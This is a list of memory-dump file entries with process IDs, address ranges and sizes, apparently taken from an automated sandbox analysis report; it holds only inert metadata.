memory/4748-198-0x0000000000000000-mapping.dmp
-
memory/4868-322-0x000000001B9F0000-0x000000001B9F2000-memory.dmpFilesize
8KB
-
memory/4868-317-0x0000000000CF0000-0x0000000000CF1000-memory.dmpFilesize
4KB
-
memory/4868-315-0x0000000000000000-mapping.dmp
-
memory/4968-176-0x0000000000000000-mapping.dmp
-
memory/4980-235-0x000000001B6A0000-0x000000001B6A2000-memory.dmpFilesize
8KB
-
memory/4980-194-0x0000000000000000-mapping.dmp
-
memory/4980-207-0x00000000009A0000-0x00000000009A1000-memory.dmpFilesize
4KB
-
memory/4980-227-0x0000000001260000-0x0000000001274000-memory.dmpFilesize
80KB
-
memory/4984-191-0x0000000000000000-mapping.dmp
-
memory/4984-211-0x0000000000400000-0x000000000046D000-memory.dmpFilesize
436KB
-
memory/5000-187-0x0000000000000000-mapping.dmp
-
memory/5000-341-0x0000000000000000-mapping.dmp
-
memory/5000-386-0x0000000003E80000-0x0000000003EB0000-memory.dmpFilesize
192KB
-
memory/5048-254-0x0000000004840000-0x0000000004888000-memory.dmpFilesize
288KB
-
memory/5048-213-0x0000000000000000-mapping.dmp
-
memory/5080-438-0x0000000005870000-0x0000000005E88000-memory.dmpFilesize
6.1MB
-
memory/5176-248-0x0000000000000000-mapping.dmp
-
memory/5176-255-0x00000000016B0000-0x00000000016B2000-memory.dmpFilesize
8KB
-
memory/5196-309-0x0000000000000000-mapping.dmp
-
memory/5312-416-0x0000000005460000-0x00000000056E6000-memory.dmpFilesize
2.5MB
-
memory/5360-330-0x0000000000000000-mapping.dmp
-
memory/5360-434-0x00000000057D0000-0x00000000057D1000-memory.dmpFilesize
4KB
-
memory/5368-351-0x0000000000000000-mapping.dmp
-
memory/5368-529-0x0000000002F00000-0x0000000002F01000-memory.dmpFilesize
4KB
-
memory/5380-363-0x000000001C620000-0x000000001C621000-memory.dmpFilesize
4KB
-
memory/5380-275-0x0000000002D90000-0x0000000002DCB000-memory.dmpFilesize
236KB
-
memory/5380-318-0x000000001CDF0000-0x000000001CDF1000-memory.dmpFilesize
4KB
-
memory/5380-258-0x0000000000000000-mapping.dmp
-
memory/5380-261-0x0000000000D10000-0x0000000000D11000-memory.dmpFilesize
4KB
-
memory/5380-280-0x000000001BAC0000-0x000000001BAC2000-memory.dmpFilesize
8KB
-
memory/5380-316-0x000000001C6F0000-0x000000001C6F1000-memory.dmpFilesize
4KB
-
memory/5400-325-0x0000000000130000-0x0000000000131000-memory.dmpFilesize
4KB
-
memory/5400-360-0x0000000004A10000-0x0000000004A86000-memory.dmpFilesize
472KB
-
memory/5400-312-0x0000000000000000-mapping.dmp
-
memory/5428-340-0x0000000000000000-mapping.dmp
-
memory/5472-337-0x0000000000000000-mapping.dmp
-
memory/5472-479-0x0000000000840000-0x00000000008CE000-memory.dmpFilesize
568KB
-
memory/5484-452-0x0000000005170000-0x0000000005788000-memory.dmpFilesize
6.1MB
-
memory/5484-332-0x0000000000400000-0x0000000000422000-memory.dmpFilesize
136KB
-
memory/5484-326-0x0000000000000000-mapping.dmp
-
memory/5492-264-0x0000000000000000-mapping.dmp
-
memory/5492-270-0x0000000000B30000-0x0000000000B31000-memory.dmpFilesize
4KB
-
memory/5524-265-0x0000000000000000-mapping.dmp
-
memory/5540-472-0x0000000001950000-0x0000000001959000-memory.dmpFilesize
36KB
-
memory/5540-339-0x0000000000000000-mapping.dmp
-
memory/5560-338-0x0000000000000000-mapping.dmp
-
memory/5616-585-0x0000000000400000-0x0000000000416000-memory.dmpFilesize
88KB
-
memory/5620-567-0x0000000003220000-0x0000000003221000-memory.dmpFilesize
4KB
-
memory/5620-573-0x0000000005420000-0x00000000054D9000-memory.dmpFilesize
740KB
-
memory/5620-571-0x00000000052A0000-0x0000000005359000-memory.dmpFilesize
740KB
-
memory/5660-279-0x0000000000110000-0x0000000000111000-memory.dmpFilesize
4KB
-
memory/5660-358-0x0000000000ED0000-0x0000000000EDA000-memory.dmpFilesize
40KB
-
memory/5660-355-0x000000001C0F0000-0x000000001C0F2000-memory.dmpFilesize
8KB
-
memory/5660-276-0x0000000000000000-mapping.dmp
-
memory/5676-323-0x0000000000000000-mapping.dmp
-
memory/5676-343-0x0000000000400000-0x0000000000414000-memory.dmpFilesize
80KB
-
memory/5760-313-0x000000001B610000-0x000000001B612000-memory.dmpFilesize
8KB
-
memory/5760-282-0x0000000000000000-mapping.dmp
-
memory/5760-286-0x0000000000780000-0x0000000000781000-memory.dmpFilesize
4KB
-
memory/5760-294-0x00000000010E0000-0x00000000010E1000-memory.dmpFilesize
4KB
-
memory/5760-295-0x0000000002710000-0x000000000272B000-memory.dmpFilesize
108KB
-
memory/5760-300-0x0000000002730000-0x0000000002731000-memory.dmpFilesize
4KB
-
memory/5760-538-0x00000000040C0000-0x0000000004200000-memory.dmpFilesize
1.2MB
-
memory/5796-292-0x0000000000160000-0x0000000000161000-memory.dmpFilesize
4KB
-
memory/5796-285-0x0000000000000000-mapping.dmp
-
memory/5796-299-0x0000000000980000-0x0000000000982000-memory.dmpFilesize
8KB
-
memory/5820-289-0x0000000000000000-mapping.dmp
-
memory/5848-407-0x00000000020A0000-0x00000000020A1000-memory.dmpFilesize
4KB
-
memory/5856-420-0x0000000002CB0000-0x0000000002CDF000-memory.dmpFilesize
188KB
-
memory/5856-334-0x0000000000000000-mapping.dmp
-
memory/5892-509-0x0000000005470000-0x0000000005A88000-memory.dmpFilesize
6.1MB
-
memory/5912-384-0x0000000002D10000-0x0000000002D3F000-memory.dmpFilesize
188KB
-
memory/5912-298-0x0000000000000000-mapping.dmp
-
memory/5928-321-0x0000000004AE0000-0x0000000005086000-memory.dmpFilesize
5.6MB
-
memory/5928-314-0x0000000004C20000-0x0000000004C21000-memory.dmpFilesize
4KB
-
memory/5928-307-0x00000000000E0000-0x00000000000E1000-memory.dmpFilesize
4KB
-
memory/5928-297-0x0000000000000000-mapping.dmp
-
memory/5928-320-0x0000000004AA0000-0x0000000004AB8000-memory.dmpFilesize
96KB
-
memory/5928-347-0x0000000004A90000-0x0000000004A93000-memory.dmpFilesize
12KB
-
memory/5928-311-0x0000000004AE0000-0x0000000004AE1000-memory.dmpFilesize
4KB
-
memory/5940-335-0x0000000000000000-mapping.dmp
-
memory/5940-397-0x0000000003F70000-0x0000000004041000-memory.dmpFilesize
836KB
-
memory/5952-329-0x0000000000000000-mapping.dmp
-
memory/5992-499-0x0000000003380000-0x00000000033B0000-memory.dmpFilesize
192KB
-
memory/5992-336-0x0000000000000000-mapping.dmp
-
memory/6044-362-0x00000000052A0000-0x00000000052A1000-memory.dmpFilesize
4KB
-
memory/6044-357-0x0000000005030000-0x0000000005031000-memory.dmpFilesize
4KB
-
memory/6044-352-0x0000000005590000-0x0000000005591000-memory.dmpFilesize
4KB
-
memory/6044-370-0x0000000004F70000-0x0000000005588000-memory.dmpFilesize
6.1MB
-
memory/6044-328-0x0000000000400000-0x0000000000422000-memory.dmpFilesize
136KB
-
memory/6044-324-0x0000000000000000-mapping.dmp
-
memory/6092-542-0x0000000005840000-0x0000000005841000-memory.dmpFilesize
4KB
-
memory/6140-374-0x0000000003D70000-0x0000000003DA0000-memory.dmpFilesize
192KB
-
memory/6140-306-0x0000000000000000-mapping.dmp